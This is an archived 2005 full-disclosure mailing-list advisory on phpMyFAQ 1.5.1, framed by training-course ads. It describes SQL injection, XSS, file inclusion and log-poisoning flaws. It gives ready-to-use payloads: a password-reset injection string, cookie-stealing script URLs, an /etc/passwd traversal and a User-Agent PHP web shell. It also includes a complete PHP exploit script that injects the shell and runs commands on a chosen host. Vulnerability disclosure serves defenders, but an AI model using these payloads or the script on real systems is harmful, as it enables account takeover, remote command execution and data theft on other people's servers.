Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | PhpMyFAQ 1.5.1 multiple vulnerabilities |
|---|---|
| Date: | 22 Sep 2005 23:36:30 -0000 |
2.31 23/09/2005 PhpMyFaq 1.5.1 SQL injection / board takeover / user info disclosure / path disclosure remote code / commands execution software: site: http://www.phpmyfaq.de/ description: "phpMyFAQ is a multilingual, completely database-driven FAQ-system. It supports various databases to store all data, PHP 4.1.0 (or higher) is needed in order to access this data. phpMyFAQ also offers a multi-language Content Management-System with a WYSIWYG editor and an Image Manager, flexible multi-user support with LDAP support, a news-system, user-tracking, language modules, enhanced automatic content negotiation, templates, extensive XML-support, PDF-support, a backup-system, a dynamic sitempa and an easy to use installation script." vulnerabilities: 1) if magic quotes off -> SQL injection: just take a look at vulnerable code in /admin/password.php: ... $username = $_POST["username"]; $email = $_POST["email"]; $num = $db->num_rows($db->query("SELECT name, email FROM ".SQLPREFIX."faquser WHERE name = '".$username."' AND email = '".$email."'")); if ($num == 1) { $consonants = array("b","c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z"); $vowels = array("a","e","i","o","u"); $newPassword = ""; srand((double)microtime()*1000000); for ($i = 1; $i <= 4; $i++) { $newPassword .= $consonants[rand(0,19)]; $newPassword .= $vowels[rand(0,4)]; } $db->query("UPDATE ".SQLPREFIX."faquser SET pass = '".md5($newPassword)."' WHERE name = '".$username."' AND email = '".$email."'"); $text = $PMF_LANG["lostpwd_text_1"]."\nUsername: ".$username."\nNew Password: ".$newPassword."\n\n".$PMF_LANG["lostpwd_text_2"]; mail($IDN->encode($email), $PMF_CONF["title"].": username / password request", $text, "From: ".$IDN->encode($PMF_CONF["adminmail"])); ... switch to /admin directory, click on "forgotten password" feature and without to have an account you can reset admin password and send yourself it by email, example: user: ' or isnull(1/0) /* mail: [your_email] the two queries become: SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]' and UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or isnull(1/0) /*' AND email = '[your_email]' (so all accounts have the same new password... not only admin one) [your_email] , now is passed to mail() funxtion you will soon receive a mail like this: "Thank you for requesting your account information. Username: ' or isnull(1/0) /* New Password: relicuxe Please set a new personal password in the admin section of your FAQ." now you can login, backup database, add/delete news, records, ban ip and execute commands on target system by inserting php code in news, system calls, etc. 2) cross site scripting: http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script> http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script> 3) arbitrary inclusion (on Windows): if magic_quotes_gpc off in php.ini settings you can see ANY file on target system: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00 4) if magic_quotes both on and off you can include an arbitrary php file on the target machine: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../[scriptname] [scriptname] without '.php' extension 5) user info disclosure: http://[target]/[path]/phpmyfaq/data/tracking[date] where [date] is today date, example: 22092005 you will see the log file... 6) path disclosure: http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file] 7) you can insert php code in a User Agent field request packet, example: <?php system($HTTP_GET_VARS[cmd]) ?> and, if magic_quotes is off, you can include log file to execute shell commands (this on Windows) http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00 this is my proof of concept exploit (it works against Windows servers, so it's only a divertisement but OK, we are admin, remember? ;) ...): <?php # 17.34 22/09/2005 # # # # phpmyfaq_xpl.php # # # # PhpMyFaq 1.5.1 ( possibly prior versions) shell inject # # # # by rgod # # site: http://rgod.altervista.org # # # # make these changes in your php.ini if you have troubles # # to launch this script: # # allow_call_time_pass_reference = on # # register_globals = on # # # # usage: launch this script from Apache, fill requested fields, then # # if magic_quotes_gpc is off, boom! you launch commands... # # # # Sun-tzu: "When in difficult country, do not encamp. In country where high # # roads intersect, join hands with your allies. Do not linger in dangerously # # isolated positions. In hemmed-in situations, you must resort to stratagem. # # In desperate position, you must fight." # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 2); ob_implicit_flush (1); echo'<head> <title> PhpMyFAQ 1.5.1 remote commands execution </title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type= "text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;} .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold; font-style: italic; } --> </style></head> <body> <p class="Stile6"> PhpMyFAQ V 1.5.1 (possibly prior versions) remote commands execution </p><p class="Stil e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host= value&port=value&command=value&proxy=value"><p><input type="text" name="host"> <span class="Stile5"> hostname (ex: www.sitename.com) </span> </p> <p><input type="text" name="path"><span class="Stile5"> path ( ex: /phpmyfaq/ or just /) </span></p><p><input type="text" name="port" > <span class="Stile5"> specify a port other than 80 (default value) </span></p><p> <input type="text" name= "command"> <span class="Stile5"> a Unix command , example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p><p><input type="text " name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por t</span></p> <p> <input type="submit"name="Submit" value="go!"></p></form></td> </tr></table></body></html>'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else {echo "<td>".$datai."</td> ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td>  </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo nl2br(htmlentities($html)); } if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} # STEP 1 -> Shell Inject... if ($proxy=='') {$packet="GET ".$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";} else {$packet="GET http://".$host.$path."index.php?sid=49493&lang=it&action=ask HTTP/1.0 \r\n";} $packet.='User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>'."\r\n"; //you cannot insert ";" because it is stripped, so insert more statements //if you change the shell, keep attemption to php syntax, if you make an error, //you cannot lauch commands till tomorrow, I am not joking ;) $packet.="Accept-Language: pl\r\n"; $packet.="Referer: http://".$host.$path."\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: gzip,deflate\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: lang=it; sid=49493\r\n"; show($packet); sendpacket($packet); # STEP 2 -> Include the log file and launch commands... if ($proxy=='') {$packet="GET ".$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";} else {$packet="GET http://".$host.$path."index.php?cmd=".urlencode($command)."&LANGCODE=/../../data/tracking".date("dmY")."%00 HTTP/1.0 \r\n";} $packet.='User-Agent: Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.2 (like Gecko)'."\r\n"; $packet.="Accept-Language: fr\r\n"; $packet.="Referer: http://".$host.$path."\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: gzip,deflate\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: lang=it; sid=49493\r\n"; show($packet); sendpacket($packet); } else { echo '<br>fill in requested fields, optionally specify a proxy...<br><br>'; } ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta it original advisory: http://rgod.altervista.org/phpmyfuck151.html
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | Re: Remote File Inclusion in MyGuestbook, security curmudgeon |
|---|---|
| Next by Date: | [Full-disclosure] Re: Rita Scams Call to Arms - Update, Juha-Matti Laurio |
| Previous by Thread: | TSLSA-2005-0051 - clamav, Trustix Security Advisor |
| Next by Thread: | [Full-disclosure] Re: Rita Scams Call to Arms - Update, Juha-Matti Laurio |
| Indexes: | [Date] [Thread] [Top] [All Lists] |